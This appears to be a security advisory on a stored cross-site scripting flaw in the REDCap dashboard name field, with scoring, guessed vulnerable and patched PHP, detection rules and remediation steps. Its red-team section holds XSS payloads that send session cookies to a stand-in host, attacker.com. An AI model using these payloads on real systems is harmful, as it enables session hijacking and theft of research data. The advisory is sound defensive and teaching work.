CVE-2024-56312

Executive Summary

CVE-2024-56312 is a stored cross-site scripting (XSS) vulnerability identified in REDCap, a widely used electronic data capture tool for research studies. The flaw resides in the Project Dashboard name field, allowing an authenticated user with sufficient privileges to inject arbitrary JavaScript. When another user (including administrators) clicks on the crafted dashboard name, the payload executes within the security context of the victim’s browser. This can lead to session hijacking, data exfiltration, or further lateral movement within the REDCap instance. The vulnerability affects REDCap versions up to and including 14.9.6. No official patch has been released at the time of this analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must click the dashboard name)
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for credential theft and data exfiltration in a research data environment elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The Project Dashboard name field is not properly sanitized or encoded before being stored in the database and later rendered in the web interface. An authenticated user can create or edit a dashboard and set its name to a malicious payload, such as:

<script>alert(document.cookie)</script>

When the dashboard list is loaded, the name is rendered as HTML without escaping. Any user who clicks on the dashboard name triggers the script execution. The attack flow:

1. Authentication: Attacker must have a valid REDCap account with permission to create/edit project dashboards.
2. Injection: Attacker sets the dashboard name to a crafted payload.
3. Storage: The payload is stored in the database.
4. Trigger: A victim (e.g., project manager, admin) clicks the dashboard name.
5. Execution: The script runs in the victim’s browser, potentially stealing session cookies, performing actions on behalf of the victim, or exfiltrating data.

Vulnerable vs. Patched Code

Vulnerable Code (REDCap <= 14.9.6): The dashboard name is likely output directly without encoding. For example, in a PHP view:

echo "<a href='dashboard.php?id=" . $dashboard['id'] . "'>" . $dashboard['name'] . "</a>";

Patched Code (Expected): The patched version should use proper output encoding, such as htmlspecialchars() in PHP:

echo "<a href='dashboard.php?id=" . intval($dashboard['id']) . "'>" . htmlspecialchars($dashboard['name'], ENT_QUOTES, 'UTF-8') . "</a>";

Additionally, input validation should strip or encode HTML tags on submission.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a REDCap instance (version <= 14.9.6)
• Valid user credentials with dashboard creation privileges

Steps:

1. Log in to REDCap.
2. Navigate to a project and create a new Project Dashboard.
3. In the "Dashboard Name" field, enter a payload such as:

   <img src=x onerror=alert(document.cookie)>
   

   Or for session theft:

   <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
   

4. Save the dashboard.
5. Send the dashboard link to a victim or wait for them to browse the project.
6. When the victim clicks the dashboard name, the payload executes.

Proof-of-Concept (PoC) Payload:

<script>fetch('https://attacker.com/exfil?data='+btoa(document.cookie))</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual dashboard names containing <script>, <img onerror>, or other HTML event handlers.
• Review web server logs for requests to /redcap/redcap_v14.9.6/ProjectDashboard/ with suspicious parameters.
• Use WAF rules to block XSS patterns in dashboard name fields.

Hardening:

• Apply input validation and output encoding (see patched code).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict dashboard creation privileges to trusted users only.
• Regularly audit dashboard names for malicious content.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from REDCap server.
  • Suspicious GET or POST requests containing base64-encoded data in query strings.
• File IOCs:
  • Log entries showing dashboard names with HTML tags or JavaScript.
• Behavioral IOCs:
  • Unusual session activity from a single user (e.g., multiple logins from different IPs).
  • Creation of dashboards with non-standard names (e.g., containing <, >, script).

Detection Engineering

YARA Rule

rule CVE_2024_56312_REDCap_XSS {
    meta:
        description = "Detects stored XSS payloads in REDCap dashboard names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56312"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=[^>]*>/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: REDCap Stored XSS in Dashboard Name
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of dashboards with XSS payloads in REDCap
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: redcap
detection:
    selection:
        event: "dashboard_create"
        dashboard_name|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in dashboard names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56312 REDCap Stored XSS Exfiltration"; flow:to_server,established; content:"/redcap/"; http_uri; pcre:"/(<script|<img\s+onerror|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Dashboard Creation: Temporarily restrict the ability to create or edit project dashboards to only super administrators.
2. Audit Existing Dashboards: Review all dashboard names for malicious content and remove any suspicious entries.
3. Apply WAF Rules: Block requests containing XSS patterns in the dashboard name parameter.

Long-Term Fix:

• Apply input validation and output encoding as described in the patched code section.
• Upgrade to a patched version once released by the vendor.
• Implement Content Security Policy (CSP) with script-src 'self' to mitigate XSS impact.

Workaround:

• If patching is not immediately possible, modify the source code to escape output. For example, in the file ProjectDashboard/view.php, change:

  echo $dashboard['name'];
  

  to:

  echo htmlspecialchars($dashboard['name'], ENT_QUOTES, 'UTF-8');
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst